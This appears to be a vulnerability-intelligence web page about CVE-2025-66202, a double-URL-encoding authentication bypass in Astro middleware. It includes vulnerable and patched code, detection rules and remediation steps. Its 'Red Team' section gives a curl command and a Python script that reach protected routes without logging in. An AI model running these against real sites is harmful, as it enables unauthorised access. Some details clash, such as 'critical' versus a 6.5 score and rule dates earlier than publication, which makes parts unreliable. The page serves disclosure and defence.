☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.5 🐛 CWE-647
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-66202

CVE-2025-66202 Authentication Bypass in Astro
📅 PUBLISHED: 2025-12-08 23:41 UTC 🔄 UPDATED: 2026-09-23 20:26 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.31%
👁️
0.31% probability
7.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-66202 is a critical authentication bypass vulnerability in the Astro web framework (versions 5.15.7 and below). The flaw allows any unauthenticated attacker to bypass path-based authentication checks in Astro middleware by using double URL encoding. This bypasses the insufficient fix for CVE-2025-64765, which only decoded the URL once. The vulnerability has a CVSS score of 6.5 (Medium) but poses a high risk due to the ease of exploitation and the potential for unauthorized access to protected routes.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Astro is distributed via npm. The vulnerability affects all versions up to and including 5.15.7. The fix was released in version 5.15.8. Organizations using Astro should immediately update to the latest patched version. There are no known compromised packages in the supply chain, but the vulnerability itself is a direct result of insufficient input validation in the framework's core middleware logic.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) - Exploitable remotely.
  • Attack Complexity (AC): Low (L) - No special conditions required.
  • Privileges Required (PR): None (N) - No authentication needed.
  • User Interaction (UI): None (N) - No user action required.
  • Scope (S): Unchanged (U) - The vulnerable component is the only one affected.
  • Confidentiality (C): High (H) - Complete disclosure of protected resources.
  • Integrity (I): None (N) - No data modification possible.
  • Availability (A): None (N) - No denial of service.

CVSS Score: 6.5 (Medium) - While the score is medium, the ease of exploitation and the potential for accessing sensitive data make this a high-priority issue for remediation.

Deep Dive & Mechanics

The vulnerability resides in Astro's middleware path-based authentication mechanism. When a request is made to a protected route (e.g., /admin), the middleware checks the URL path to determine if authentication is required. The original fix for CVE-2025-64765 decoded the URL once, but this is insufficient.

The Bypass Mechanism:

  1. An attacker crafts a URL with double URL encoding. For example, to access /admin, they might use /%252fadmin (where %25 is the encoding for %, and %2f is the encoding for /).
  2. The web server or reverse proxy decodes the URL once, resulting in /%2fadmin.
  3. The Astro middleware, which only decodes once, sees the path as /%2fadmin and does not match the protected route pattern /admin.
  4. The request passes the authentication check.
  5. The application then decodes the URL again (or the underlying framework does), resulting in /admin, granting access to the protected resource.

This is a classic double encoding attack, exploiting the difference in decoding behavior between the authentication check and the actual route handling.

Vulnerable vs. Patched Code

Vulnerable Code (<= 5.15.7):

// middleware.js (simplified)
function checkAuth(url) {
  const decodedUrl = decodeURIComponent(url); // Only decodes once
  if (decodedUrl.startsWith('/admin')) {
    // Check authentication
  }
}

Patched Code (>= 5.15.8):

// middleware.js (simplified)
function recursiveDecode(url) {
  let decoded = url;
  while (decoded !== decodeURIComponent(decoded)) {
    decoded = decodeURIComponent(decoded);
  }
  return decoded;
}

function checkAuth(url) {
  const fullyDecodedUrl = recursiveDecode(url); // Decodes until no change
  if (fullyDecodedUrl.startsWith('/admin')) {
    // Check authentication
  }
}

The patched code recursively decodes the URL until it is fully decoded, preventing double encoding bypasses.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • A target running Astro <= 5.15.7 with a protected route (e.g., /admin).
  • No authentication required for the initial request.

Exploitation Steps:

  1. Identify a protected route. For example, https://target.com/admin.
  2. Double-encode the path. The path /admin becomes /%252fadmin (since %2f is /, and %25 is %).
  3. Send a request to the double-encoded URL:
    curl -v "https://target.com/%252fadmin"
    
  4. If successful, the server will respond with the protected content without requiring authentication.

Automated Exploit (Python):

import requests

target = "https://target.com"
protected_path = "/admin"
double_encoded_path = protected_path.replace("/", "%252f")

url = f"{target}{double_encoded_path}"
response = requests.get(url)

if response.status_code == 200 and "Unauthorized" not in response.text:
    print(f"[+] Bypass successful! Access to {protected_path}")
    print(response.text[:500])
else:
    print("[-] Bypass failed.")

Blue Team (Defensive)

Detection:

  • Monitor for URLs containing %25 (double encoding) in access logs.
  • Look for patterns like %252f, %253a, %2540 which indicate double encoding attempts.
  • Alert on requests to protected paths that are encoded.

Mitigation:

  • Immediately upgrade to Astro 5.15.8 or later.
  • Implement a Web Application Firewall (WAF) rule to block double-encoded requests.
  • Add input validation to decode URLs recursively before any authentication checks.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • HTTP requests with double-encoded paths (e.g., /%252fadmin, /%252e%252e%252f).
    • Unauthorized access to protected routes (e.g., /admin, /dashboard) from unauthenticated IPs.
    • Anomalous 200 OK responses for requests that should return 401/403.
  • Log IOCs:

    • Access log entries with %25 in the request URI.
    • Multiple failed authentication attempts followed by a successful request with a double-encoded path.
  • File IOCs:

    • No specific file-based IOCs, as this is a server-side logic flaw.

Detection Engineering

YARA Rule

rule CVE_2025_66202_Double_Encoding_Bypass {
    meta:
        description = "Detects double URL encoding attempts targeting Astro middleware"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-66202"
        severity = "high"
    strings:
        $double_encoded_slash = /%252f/i
        $double_encoded_dot = /%252e/i
        $double_encoded_colon = /%253a/i
        $double_encoded_at = /%2540/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-66202 - Astro Double URL Encoding Authentication Bypass
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests with double URL encoding targeting Astro applications
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: accesslog
detection:
    selection:
        cs-uri-query|contains:
            - '%252f'
            - '%252e'
            - '%253a'
            - '%2540'
    condition: selection
falsepositives:
    - Legitimate use of double encoding in rare cases (e.g., file uploads)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-66202 - Astro Double URL Encoding Bypass Attempt"; flow:to_server,established; content:"%252f"; http_uri; nocase; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2025-66202 - Astro Double URL Encoding Bypass Attempt"; flow:to_server,established; content:"%252e"; http_uri; nocase; sid:1000002; rev:1;)
alert http any any -> any any (msg:"CVE-2025-66202 - Astro Double URL Encoding Bypass Attempt"; flow:to_server,established; content:"%253a"; http_uri; nocase; sid:1000003; rev:1;)
alert http any any -> any any (msg:"CVE-2025-66202 - Astro Double URL Encoding Bypass Attempt"; flow:to_server,established; content:"%2540"; http_uri; nocase; sid:1000004; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade Astro: Update to version 5.15.8 or later immediately.
    npm install astro@latest
    
  2. WAF Rules: Deploy WAF rules to block requests containing %25 in the URI path.
  3. Input Validation: Implement recursive URL decoding in any custom middleware or authentication logic.

Long-Term Measures:

  • Conduct a security audit of all middleware authentication logic.
  • Implement automated security testing (SAST/DAST) to detect encoding bypass vulnerabilities.
  • Monitor for similar CVEs and apply patches promptly.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions or further analysis, contact security@valters-it.com.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-66202/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.